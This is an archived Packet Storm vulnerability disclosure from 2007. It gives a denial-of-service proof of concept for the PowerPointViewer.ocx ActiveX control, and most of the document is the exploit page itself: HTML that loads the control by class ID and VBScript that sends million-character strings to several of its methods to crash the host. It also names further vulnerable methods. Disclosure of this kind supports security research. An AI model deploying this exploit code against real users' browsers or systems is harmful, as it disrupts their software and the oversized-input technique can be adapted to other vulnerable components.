powerpoint-dos.txt

2007-05-03T00:00:00
ID PACKETSTORM:56394
Type packetstorm
Reporter shinnai
Modified 2007-05-03T00:00:00

Description

                                        
                                            `<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/01</b></p></span>  
<pre>  
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------  
<b>PowerPointViewer.ocx v. 3.1.0.3 multiple methods Denial of Service</b>  
url: http://www.officeocx.com/  
price: from 63.95 (update to last version) to 1,585.95 (Royalty)  
  
author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7  
all software that use this ocx are vulnerable to these exploits.  
Theese methods are vulnerable too:  
  
<b>DoOleCommand</b>  
<b>FTPDownloadFile</b>  
<b>FTPUploadFile</b>  
<b>HttpUploadFile</b>  
<b>Save</b>  
<b>SaveWebFile</b>  
-----------------------------------------------------------------------------  
  
<object classid='clsid:97AF4A45-49BE-4485-9F55-91AB40F22B92' id='PowerPointOCX' width="405" height="50"></object>  
  
<select style="width: 404px" name="Pucca">  
<option value = "HttpDownloadFile">HttpDownloadFile</option>  
<option value = "Open">Open</option>  
<option value = "OpenWebFile">OpenWebFile</option>  
<option value = "Quoting">Quoting...</option>  
</select>  
  
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">  
  
<script language='vbscript'>  
Sub tryMe  
on error resume next  
Dim MyMsg  
if Pucca.value = "HttpDownloadFile" then  
argCount = 2  
arg1=String(1000000,"A")  
arg2="defaultV"  
PowerPointOCX.HttpDownloadFile arg1, arg2  
elseif Pucca.value = "Open" then  
argCount = 1  
arg1=String(1000000, "A")  
PowerPointOCX.Open arg1  
elseif Pucca.value = "OpenWebFile" then  
argCount = 1  
arg1=String(1000000, "A")  
PowerPointOCX.OpenWebFile arg1  
else  
MyMsg = MsgBox ("...And when he knew for certain" & vbCrLf &_  
"Only drowning men could see him" & vbCrLf &_  
"He said: 'All men will be sailors then" & vbCrLf &_  
"Until the sea shall free them'...",64 ,"2007/05/01 - PowerPointViewer 3.1")  
end if  
End Sub  
</script>  
</span></span>  
</code></pre>  
  
`